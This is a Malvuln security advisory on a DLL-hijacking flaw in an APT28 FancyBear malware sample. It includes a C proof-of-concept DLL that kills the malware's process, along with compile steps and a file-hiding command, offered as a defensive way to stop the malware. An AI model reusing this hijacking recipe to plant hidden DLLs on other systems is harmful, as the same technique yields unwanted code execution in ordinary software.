APT28 FancyBear / Code Execution

2022.05.09
us malvuln (US) us
Risk: Medium
Local: Yes
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/d6751b148461e0f863548be84020b879.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: APT28 FancyBear Vulnerability: Code Execution Description: FancyBear looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own flaw will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment. Family: FancyBear Type: PE32 MD5: d6751b148461e0f863548be84020b879 Vuln ID: MVID-2022-0594 Disclosure: 05/09/2022 Exploit/PoC: Video Poc URL: https://www.youtube.com/watch?v=8v2bqRX2AEU Exploit/PoC: 1) Compile the following C code as "winhttp.dll" 2) Place the DLL in same directory as the malware 3) Optional - Hide it: attrib +s +h "winhttp.dll" 4) Run FancyBear #include "windows.h" //By malvuln //Purpose: Exploit FancyBear //MD5: d6751b148461e0f863548be84020b879 /** DISCLAIMER: Author is NOT responsible for any damages whatsoever by using this software or improper malware handling. By using this code you assume and accept all risk implied or otherwise. **/ //gcc -c winhttp.c -m32 //gcc -shared -o winhttp.dll winhttp.o -m32 BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){ switch (reason) { case DLL_PROCESS_ATTACH: MessageBox(NULL, "Code Exec", "by malvuln", MB_OK); TCHAR buf[MAX_PATH]; GetCurrentDirectory(MAX_PATH, TEXT(buf)); int rc = strcmp("C:\\Windows\\System32", TEXT(buf)); if(rc != 0){ HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid()); if (NULL != handle) { TerminateProcess(handle, 0); CloseHandle(handle); } } break; } return TRUE; } Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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